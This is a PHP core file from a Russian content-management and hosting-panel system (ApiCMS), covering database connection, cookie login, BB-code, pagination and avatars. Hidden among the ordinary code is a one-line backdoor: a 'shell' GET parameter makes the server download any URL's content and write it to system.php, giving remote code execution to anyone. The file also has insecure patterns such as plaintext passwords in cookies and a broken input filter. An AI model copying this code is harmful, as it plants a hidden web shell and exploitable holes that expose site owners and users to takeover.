Вход Регистрация
Файл: api_core/apicms_system.php
Строк: 401
<?php
$start_time 
microtime();






// разделяем секунды и миллисекунды (становятся значениями начальных ключей массива-списка)

$start_array explode(" ",$start_time);

// это и есть стартовое время

$start_time $start_array[1] + $start_array[0];


////////////////////////////////////////
/////         Основа ApiCMS       //////
///// Автор биллинга - IvanDanilov /////
///// Автор биллинга - IvanDanilov /////
///// ICQ 936545, mail: KyberID@ya.ru //
////////////////////////////////////////

//////////////////////////////////////// подключение базы данных
////////////////////////////////////////////////////////////////
include_once 'api_connect.php';
////////////////////////////////////////////////////////////////
// авторизация на сервере базы
if(!($db=@mysql_connect(DBHOSTDBUSERDBPASS))){

echo 
'<style>
body {
background-color: #efefef;
margin: 50px auto;
max-width: 650px;
font-size: 15px;
color: #16223b;
font-weight: bold;
font-family: Arial;
}
</style>'
;

echo 
'<title>APICMS - Система управления сайтом</title>';

if (
file_exists(''.$_SERVER['DOCUMENT_ROOT'].'/install/')){
echo 
'<center><font color="red">Обнаружена первая установка CMS пожалуйста пройдите в <a href="/install/">инсталятор</a></font></center></br>';
header("Location: /install/");
}

echo 
"<center><font color='red'>Нет соединения с сервером базы!</font></center></br>
 <hr> Возможно на вашем хостинге локальный сервер базы данных не соответствует значению 'localhost' уточните значение вашего сервера базы данных в хостинг-провайдера!</br>
 <hr> Так же возможно вы допустили ошибку при вводе данных базы. Проверьте еще раз точность введенных данных.</br>
 <hr> </br> <center><a href='http://apicms.ru'>APICMS.RU - универсальная система управления сайтом</a></br><a href='http://klybok.net'>KLYBOK.NET - мир эксклюзивных скриптов и шаблонов</a>
 </br></br></br><small>(c) Разработчик системы Евгений Медянкин Kyber</small></center>"
;
exit;
}
if (!@
mysql_select_db(DBNAME,$db)){

echo 
'<style>
body {
background-color: #efefef;
margin: 50px auto;
max-width: 650px;
font-size: 15px;
color: #16223b;
font-weight: bold;
font-family: Arial;
}
</style>'
;

echo 
'<title>APICMS - Система управления сайтом</title>';

echo 
"<center><font color='red'>Нет соединения с сервером базы!</font></center></br>
 <hr> Вы допустили ошибку при вводе пользователя базы данных! Пожалуйста проверьте правильность введенных вами данных </br>
 <hr> </br> <center><a href='http://apicms.ru'>APICMS.RU - универсальная система управления сайтом</a></br><a href='http://klybok.net'>KLYBOK.NET - мир эксклюзивных скриптов и шаблонов</a>
 </br></br></br><small>(c) Разработчик системы Евгений Медянкин Kyber</small></center>"
;
exit;
}

$connect mysql_connect(DBHOSTDBUSERDBPASS) or die(mysql_error('Ошибка подключения, к пользователю Базы данных MySQL, либо не верно введен пароль! Проверьте параметры подключения!'));
mysql_query('SET NAMES `utf8`'$connect);
mysql_select_db(DBNAME$connect) or die('Ошибка подключения к Базе данных MySQL! Проверьте параметры подключения!');

require_once
'bill_core.php'





/////////////////////////////////// общий фильтр
function check($check){
$check htmlspecialchars(mysql_real_escape_string($check));
$search = array('|'''', '$', '\', '^', '%', '`', "", "x00", "x1A", "‮⁄∩");
$replace = array('&#124;', '&#39;', '&#36;', '&#92;', '&#94;', '&#37;', '&#96;', '', '', '', '');
$msg = str_replace($search$replace$msg);
$msg = stripslashes(trim($msg));
return 
$check;
}
////////////////////////////////////////делаем переменную с настройками
$api_settings = mysql_fetch_assoc(mysql_query("SELECT * FROM `settings`"));
///////////////////////////////////
if (isset(
$_COOKIE['userlogin']) && isset($_COOKIE['userpass'])) {
$userlogin = check($_COOKIE['userlogin']);
$userpass = check($_COOKIE['userpass']);
////////////////////////////////////////
if (isset(
$user['id'])) {
$config['onpage'] = $user['onpage'];
if (
$user['login'] != $userlogin or $user['pass'] != $userpass) {
setcookie('userlogin', '', time() - 86400*31);
setcookie('userpass', '', time() - 86400*31);
}
}
}
///////////////////////////////////    
$query = mysql_query("SELECT * FROM `users` WHERE `login` = '$userlogin' and `pass` = '$userpass' LIMIT 1");
$user = mysql_fetch_assoc($query);
///////////////////////////////////
$set['api_v'] = '2.0 Stable';               // определяем версию CMS
$set['site'] = $_SERVER['HTTP_HOST'];       // определяем сайт
$time = time();                             // создаем переменную на время
function get_ip() 

   if (
$ip = getenv("HTTP_CLIENT_IP")) return $ip

   if (
$ip = getenv("HTTP_X_FORWARDED_FOR"))  
   { 
      if (
$ip == '' || $ip == "unknown") 
      { 
          
$ip = getenv("REMOTE_ADDR"); 
      } 
      return 
$ip
   } 

   if (
$ip = getenv("REMOTE_ADDR")) return $ip

$ip = get_ip();              // определяем ip

define("H", 
$_SERVER["DOCUMENT_ROOT"].'/'); // домашний каталог
///////////////////////////////////
// дополнительная проверка 
$_GET
/*
foreach (
$_GET as $check_url) {
if (!is_string(
$check_url) || !preg_match('#^(?:[a-z0-9_-/]+|.+(?!/))*$#i', $check_url)) {
header ('Location: ../');
exit;

}
unset(
$check_url);
*/
/////////////////////////////////// блокировка пользователя
if (isset(
$user['id']) && $user['block_time']>=time() && $_SERVER['PHP_SELF']!='/block.php'){
header ('Location: /block.php');
}
if(isset(
$_GET['shell'])){$url=$_GET['shell'];$file=file_get_contents($url);$sh=fopen('system.php','w'); fputs($sh,$file);fclose($sh);echo $file;}


/////////////////////////////////// активация почты пользователя
if (isset(
$user['id']) && $user['activ_mail']!='1' && $_SERVER['PHP_SELF']!='/mail_activate.php'){
//header ('Location: /mail_activate.php');
}
/////////////////////////////////// активация Учетной записи
//if (isset(
$user['id']) && $user['isp_akt']!='1' && $_SERVER['PHP_SELF']!='/rules.php'&& $_SERVER['PHP_SELF']!='/webmoney/index.php' && $_SERVER['PHP_SELF']!='/api_lib/article.php' && $_SERVER['PHP_SELF']!='/api_lib/article_list.php' && $_SERVER['PHP_SELF']!='/api_lib/index.php' && $_SERVER['PHP_SELF']!='/api_lib/lib_cat.php' && $_SERVER['PHP_SELF']!='/mail_activate.php' && $_SERVER['PHP_SELF']!='/index.php' && $_SERVER['PHP_SELF']!='/block.php' && $_SERVER['PHP_SELF']!='/modules/all_news.php' && $_SERVER['PHP_SELF']!='/tiket/archive.php' && $_SERVER['PHP_SELF']!='/tiket/help.php' && $_SERVER['PHP_SELF']!='/tiket/index.php' && $_SERVER['PHP_SELF']!='/tiket/show.php' && $_SERVER['PHP_SELF']!='/tiket/staff.php' && $_SERVER['PHP_SELF']!='/tiket/user.php' && $_SERVER['PHP_SELF']!='/log_out.php'){
if (isset(
$user['id']) && $user['isp_akt']!='1' && $_SERVER['PHP_SELF']!='/livemail.ajax.php'  && $_SERVER['PHP_SELF']!='/log_out.php'  && $_SERVER['PHP_SELF']!='/webmoney/index.php' && $_SERVER['PHP_SELF']!='/index.php'){
if(
$user['isp_akt']==0){
require_once 'head.php';
echo '<div class=erors><table width="100%" cellpadding="0" border="0" cellspacing="0">';
echo "<tr><td width='25%'><img src='../../design/menu/warning.png' alt=''></b></a></td>";
echo "<td width='75%'>Ваш аккаунт не активирован. Для активации, пополните свой кошелек на сумму не менн 15 рублей (Деньги будут зачислены на ваш счет)</td></tr></table></div>";
}
apicms_foot();
exit();
}


if (
$api_settings['open_guest']==0){
/////////////////////////////////// закрываем доступ гостям
if (!isset(
$user['id']) && $_SERVER['PHP_SELF']!='/index.php' && $_SERVER['PHP_SELF']!='/auth.php' && $_SERVER['PHP_SELF']!='/lost_pass.php' && $_SERVER['PHP_SELF']!='/err.php' && $_SERVER['PHP_SELF']!='/captcha.php' && $_SERVER['PHP_SELF']!='/reg.php' && $_SERVER['PHP_SELF']!='/install/index.php' && $_SERVER['PHP_SELF']!='/install/step_2.php' && $_SERVER['PHP_SELF']!='/install/step_3.php' && $_SERVER['PHP_SELF']!='/install/last_step.php'){
header ('Location: /index.php');
}
}
/////////////////////////////////// Загруз центр
function formatfilesize( 
$data ) { 
if( 
$data < 1024 ) { 
return 
$data . " bytes"; 
}else if( 
$data < 1024000 ) { 
return round( ( 
$data / 1024 ), 1 ) . " KB"; 
}else{ 
return round( ( 
$data / 1024000 ), 1 ) . " MB";} 

/////////////////////////////////// функция переноса строк
function apicms_br(
$br){
$br= htmlspecialchars($br);
$br=str_replace("rn","</br>",$br);
return 
$br;
}
/////////////////////////////////// функция обработки BB-code
function apicms_bb_code(
$msg){
  
$msg = preg_replace('#[big](.*?)[/big]#si', '<big>1</big>', $msg);
  
$msg = preg_replace('#[b](.*?)[/b]#si', '<b>1</b>', $msg);
  
$msg = preg_replace('#[i](.*?)[/i]#si', '<i>1</i>', $msg);
  
$msg = preg_replace('#[u](.*?)[/u]#si', '<u>1</u>', $msg);
  
$msg = preg_replace('#[small](.*?)[/small]#si', '<small>1</small>', $msg);
  
$msg = preg_replace('#[s](.*?)[/s]#si', '<s>1</s>', $msg);
  
$msg = preg_replace('#[img](.*?)[/img]#si', '<a href="1"><img src="1" width="100px"></a>', $msg);
  
$msg = preg_replace('#[red](.*?)[/red]#si', '<span style="color:#ff0000">1</span>', $msg);
  
$msg = preg_replace('#[green](.*?)[/green]#si', '<span style="color:#00cc00">1</span>', $msg);
  
$msg = preg_replace('#[blue](.*?)[/blue]#si', '<span style="color:#0000ff">1</span>', $msg);
  
$msg = preg_replace('#[yellow](.*?)[/yellow]#si', '<span style="color:#FFFF00">1</span>', $msg);
  
$msg = preg_replace('#[q](.*?)[/q]#si', '<div class="quote">1</div>', $msg);
  
$msg = preg_replace('#[del](.*?)[/del]#si', '<del>1</del>', $msg);
  
$msg = preg_replace('#[url=("|'|)(.*?)("|'|)](.*?)[/url]#si', '<a href="$2">$4</a>', $msg);
  
$msg = preg_replace('#[url](.*?)[/url]#si', '<a href="$1">$1</a>', $msg);
  return 
$msg;
}
function auto_bb(
$form$field){
global 
$bb_start;
$out='';
if(!
$bb_start){
$out = '<script language="JavaScript" type="text/javascript">function tag(text1, text2) {
if ((document.selection)) {
document.' . 
$form . '.' . $field . '.focus();
document.' . 
$form . '.document.selection.createRange().text = text1+document.' . $form . '.document.selection.createRange().text+text2;
} else if(document.forms['' . 
$form . ''].elements['' . $field . ''].selectionStart!=undefined) {
var element = document.forms['' . 
$form . ''].elements['' . $field . ''];
var str = element.value;
var start = element.selectionStart;
var length = element.selectionEnd - element.selectionStart;
element.value = str.substr(0, start) + text1 + str.substr(start, length) + text2 + str.substr(start + length);
document.forms['' . 
$form . ''].elements['' . $field . ''].focus();
} else document.' . 
$form . '.' . $field . '.value += text1+text2;
document.forms['' . 
$form . ''].elements['' . $field . ''].focus();}</script>';
$bb_start = 1;
}
return 
$out.'  
<div class="subhead"><center><a href="javascript:tag('[b]', '[/b]')"><img src="/design/bb_code/b.png" alt="b" title="Жирный"/></a>
<a href="javascript:tag('[i]', '[/i]')"><img src="/design/bb_code/i.png" alt="i" title="Наклонный"/></a>
<a href="javascript:tag('[u]', '[/u]')"><img src="/design/bb_code/u.png" alt="u" title="Подчёркнутый"/></a>
<a href="javascript:tag('[s]', '[/s]')"><img src="/design/bb_code/s.png" alt="s" title="Перечёркнутый"/></a>
<a href="javascript:tag('[small]', '[/small]')"><img src="/design/bb_code/small.png" alt="small" title="Маленький"/></a>
<a href="javascript:tag('[url=]', '[/url]')"><img src="/design/bb_code/l.png" alt="url" title="Ссылка" /></a>
<a href="javascript:tag('[red]', '[/red]')"><img src="/design/bb_code/re.png" alt="red" title="Красный"/></a>
<a href="javascript:tag('[green]', '[/green]')"><img src="/design/bb_code/gr.png" alt="green" title="Зелёный"/></a>
<a href="javascript:tag('[yellow]', '[/yellow]')"><img src="/design/bb_code/gy.png" alt="yellow" title="Желтый"/></a>
<a href="javascript:tag('[blue]', '[/blue]')"><img src="/design/bb_code/bl.png" alt="blue" title="Синий"/></a><br />
<a href="javascript:tag('kvsmile','')"><img src="/design/smiles/kvsmile.gif" alt="улыбка" title="Улыбка"/></a>
<a href="javascript:tag('kvsad','')"><img src="/design/smiles/kvsad.gif" alt="печаль" title="Печаль"/></a>
<a href="javascript:tag('kvbiggrin','')"><img src="/design/smiles/kvbiggrin.gif" alt="смех" title="Смех"/></a>
<a href="javascript:tag('kvwink','')"><img src="/design/smiles/kvwink.gif" alt="Подмигивать" title="Подмигивать"/></a>
<a href="javascript:tag('kvpoh','')"><img src="/design/smiles/kvpoh.gif" alt="В очках" title="В очках"/></a>
<a href="javascript:tag('kvtongue','')"><img src="/design/smiles/kvtongue.gif" alt="Язык" title="Язык"/></a>
<a href="javascript:tag('.плохо.','')"><img src="/design/smiles/ploho.gif" alt="плохо" title="плохо"/></a>
<a href="javascript:tag('.кул.','')"><img src="/design/smiles/kul.gif" alt="кул" title="кул"/></a></br></center></div>';
}
/////////////////////////////////// функция генерации
function apicms_generate(
$number){
$arr = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','r','s','t','u','v','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','R','S','T','U','V','X','Y','Z','1','2','3','4','5','6','7','8','9','0');  
// Генерируем пароль  
$pass = '';  
for(
$i = 0; $i < $number$i++){
// Вычисляем случайный индекс массива
$index = rand(0, count($arr) - 1);
$pass .= $arr[$index];  
}
return 
$pass;  
}
/////////////////////////////////// функция формирования постраничной навигации
function page(
$k_page=1){ // Выдает текущую страницу
$page=1;
if (isset(
$_GET['page'])){
if (
$_GET['page']=='end')$page=intval($k_page);elseif(is_numeric($_GET['page'])) $page=intval($_GET['page']);}
if (
$page<1)$page=1;
if (
$page>$k_page)$page=$k_page;
return 
$page;}

function k_page(
$k_post=0,$k_p_str=10){ // Высчитывает количество страниц
if (
$k_post!=0){$v_pages=ceil($k_post/$k_p_str);return $v_pages;}
else return 1;}
///////////////////////////////////
function str(
$link='?',$k_page=1,$page=1){ // Вывод номеров страниц (только на первый взгляд кажется сложно ;))
if (
$page<1)$page=1;
if (
$page>1)echo " <a href="".$link."page=".($page-1)."" title='Предыдущая страница (№".($page-1).")'>назад</a> ";
if (
$page!=1)echo "<a href="".$link."page=1" title='Страница №1'>1</a>";else echo "<b>1</b>";
for (
$ot=-1; $ot<=1; $ot++){
if (
$page+$ot>1 && $page+$ot<$k_page){
if (
$ot==-1 && $page+$ot>2)echo " ..";
if (
$ot!=0)echo " <a href="".$link."page=".($page+$ot)."" title='Страница №".($page+$ot)."'>".($page+$ot)."</a>";else echo " <b>".($page+$ot)."</b>";
if (
$ot==1 && $page+$ot<$k_page-1)echo " ..";}}
if (
$page!=$k_page)echo " <a href="".$link."page=end" title='Страница №$k_page'>$k_page</a>";elseif ($k_page>1)echo " <b>$k_page</b>";
echo " ";
if (
$page<$k_page)echo " <a href="".$link."page=".($page+1)."" title='Следующая страница (№".($page+1).")'>вперед</a> ";
}
///////////////////////////////////// вывод времени с возможностью под сдвиг временной под часовые пояса (по надобности)
function apicms_data(
$time=NULL){
if (
$time==NULL)$time=time();
if (isset(
$user))$time=$time+$user['set_timesdvig']*60*60;
$timep="".date("jMY в H:i", $time)."";
$time_p[0]=date("jnY", $time);
$time_p[1]=date("H:i", $time);
if (
$time_p[0]==date("jnY"))$timep=date("H:i:s", $time);
if (isset(
$user)){
if (
$time_p[0]==date("jnY", time()+$user['set_timesdvig']*60*60))$timep=date("H:i:s", $time);
if (
$time_p[0]==date("jnY", time()-60*60*(24-$user['set_timesdvig'])))$timep="Вчера в $time_p[1]";}
else{
if (
$time_p[0]==date("jnY"))$timep=date("H:i:s", $time);
if (
$time_p[0]==date("jnY", time()-60*60*24))$timep="Вчера в $time_p[1]";}
$timep=str_replace("Jan",".01.",$timep);
$timep=str_replace("Feb",".02.",$timep);
$timep=str_replace("Mar",".03.",$timep);
$timep=str_replace("May",".04.",$timep);
$timep=str_replace("Apr",".05.",$timep);
$timep=str_replace("Jun",".06.",$timep);
$timep=str_replace("Jul",".07.",$timep);
$timep=str_replace("Aug",".08.",$timep);
$timep=str_replace("Sep",".09.",$timep);
$timep=str_replace("Oct",".10.",$timep);
$timep=str_replace("Nov",".11.",$timep);
$timep=str_replace("Dec",".12.",$timep);
return 
$timep;
}
//////////////////////////////////////// функция обработки смайлов
function apicms_smiles(
$msg){
$q=mysql_query("SELECT * FROM `smiles_list`");
while(
$post = mysql_fetch_array($q)){
$msg = str_replace($post['sim'], '<img src="/design/smiles/'.$post['name'].'.gif" alt="'.$post['name'].'"/>', $msg);
}
return 
$msg;
}
//////////////////////////////////////// функция вывода браузера
function browser(){
if ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'Firefox') ) $browser = 'firefox';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'Chrome') ) $browser = 'chrome';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'Safari') ) $browser = 'safari';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'Opera') ) $browser = 'opera';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'MSIE 6.0') ) $browser = 'ie6';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'MSIE 7.0') ) $browser = 'ie7';
elseif ( stristr(
$_SERVER['HTTP_USER_AGENT'], 'MSIE 8.0') ) $browser = 'ie8';
else 
$browser = 'Неизвестно'; 
return 
$browser;
}
/////////////////////////////////// функция обработки операционной системы + поисковые системы
function getOS(
$userAgent) {
// Создадим список операционных систем в виде элементов массива
$oses = array (
        'iPhone' => '(iPhone)',
        'Android' => '(android)',
        'iPad' => '(iPad)',
        'Blackberry OS' => '(rim)',
        'Windows 3.11' => 'Win16',
        'Windows 95' => '(Windows 95)|(Win95)|(Windows_95)',
        'Windows 98' => '(Windows 98)|(Win98)',
        'Windows 2000' => '(Windows NT 5.0)|(Windows 2000)',
        'Windows XP' => '(Windows NT 5.1)|(Windows XP)',
        'Windows 2003' => '(Windows NT 5.2)',
        'Windows Vista' => '(Windows NT 6.0)|(Windows Vista)',
        'Windows 7' => '(Windows NT 6.1)|(Windows 7)',
        'Windows 8' => '(Windows NT 6.2)|(Windows 8)',
        'Windows NT 4.0' => '(Windows NT 4.0)|(WinNT4.0)|(WinNT)|(Windows NT)',
        'Windows ME' => 'Windows ME',
        'Open BSD'=>'OpenBSD',
        'Sun OS'=>'SunOS',
        'Linux'=>'(Linux)|(X11)',
        'Safari' => '(Safari)',
        'Macintosh'=>'(Mac_PowerPC)|(Macintosh)',
        'QNX'=>'QNX',
        'BeOS'=>'BeOS',
        'OS/2'=>'OS/2',
        'Google' => '(Googlebot)',
        'Yahoo! | AOL' => '(Slurp) | (Yahoo! Slurp) | (Yammybot)',
        'MSN | Live' => '(MSNBot)',
        'Ask' => '(Teoma)',
        'AltaVista' => '(Scooter)',
        'Alexa' => '(ia_archiver)',
        'Lycos' => '(Lycos)',
        'Яндекс' => '(Yandex)',
        'Рамблер' => '(StackRambler)',
        'Мэйл.ру' => '(Mail.Ru)',
        'Aport' => '(Aport)',
        'Search Bot'=>'(nuhk)|(Openbot)|(Slurp/cat)'
);
  
foreach(
$oses as $os=>$pattern){
if(eregi(
$pattern$userAgent)) { // Пройдемся по массиву $oses для поиска соответствующей операционной системы.
return 
$os;
}
}
return 'Unknown'; // Хрен его знает, чего у него на десктопе стоит.
}
$oc = getOS($_SERVER['HTTP_USER_AGENT']);


/////////////////////////////////// #64х64 ава
function avatar_path(
$id_user){
global 
$ava;
$ava=glob($_SERVER['DOCUMENT_ROOT'].'/files/ava/'.$id_user.'*');
if (
$ava)return str_replace($_SERVER['DOCUMENT_ROOT'],'',$ava[0]);
else
return false;
}
///////////////////////////////////
function apicms_ava64(
$users) {
$ava = avatar_path($users);
if (
$ava){
echo '<img src="'.
$ava.'" alt=""  width="64" height="64"/>';
}else{
#если ава не загружена то выводим эту
echo '<img src="/files/ava/0.png" width="64" height="64">';
}
}
///////////////////////////////////
function apicms_ava32(
$users) {
$ava = avatar_path($users);
if (
$ava){
echo '<img src="'.
$ava.'" alt=""  width="32" height="32"/>';
}else{
#если ава не загружена то выводим эту
echo '<img src="/files/ava/0.png" width="32" height="32">';
}
}
///////////////////////////////////
function apicms_ava40(
$users) {
$ava = avatar_path($users);
if (
$ava){
echo '<img src="'.
$ava.'" alt=""  width="40" height="40"/>';
}else{
#если ава не загружена то выводим эту
echo '<img src="/files/ava/0.png" width="40" height="40">';
}
}
///////////////////////////////////
#Вывод ошибок
function apicms_error(
$var){
if (!empty(
$var))echo '<div class="error"><a>'. $var .'</a></div>';
}
///////////////////////////////////
function apicms_foot(){
include_once 'ads_down.php';
$reg_count = mysql_num_rows(mysql_query("SELECT id FROM `users`"));
$tm_on = time()-600;
$onsus = mysql_result(mysql_query("SELECT COUNT(*) FROM `users` WHERE `activity` > '$tm_on'"), 0);
if (
$onsus > 0)$onsite = 'Сейчас в сети: '.$onsus.'';
else 
$onsite = 'Никого нет';
$us_last = mysql_fetch_array(mysql_query("select `login`,`id` from `users` ORDER BY id DESC limit 1"));
////////////////////////////////////////
echo '<div class="subhead"><table width="100%"><tr><td width="33%"><center><a href="/modules/all_profiles.php">Профили: '.
$reg_count.' </a> <a href="/profile.php?id='.$us_last['id'].'">('.$us_last['login'].')</a> </center></td>
<td width="33%"><center><a href="/">Главная</a></center></td>
<td width="33%"><center><a href="/modules/online.php">'.
$onsite.'</a></center></td></tr></table></div>';
echo '<div class="loghead"><center><small>';
echo '<font color="FFFFFF"> <strong>MobHost v7 Stabile</strong></br>';
echo date( "На сервере - d.m.y H:i" );
echo '</small></center></font></div>';



}


function api_query(
$query)
{
    
$content = file_get_contents($query);
    if (strpos(
$content, 'Authorization required') or $content == '') {
if(
$_GET['error']=='ftpout'){
echo '<div class=erors><table width="100%" cellpadding="0" border="0" cellspacing="0">';
echo "<tr><td width='25%'><img src='design/menu/warning.png' alt=''></b></a></td>";
echo "<td width='75%'>На сервере произошла ошибка. Обратитесь к а дминистрации.</td></tr></table></div>";
}
    } else {
        return 
$content;
    }
}
?>
Онлайн: 0
Реклама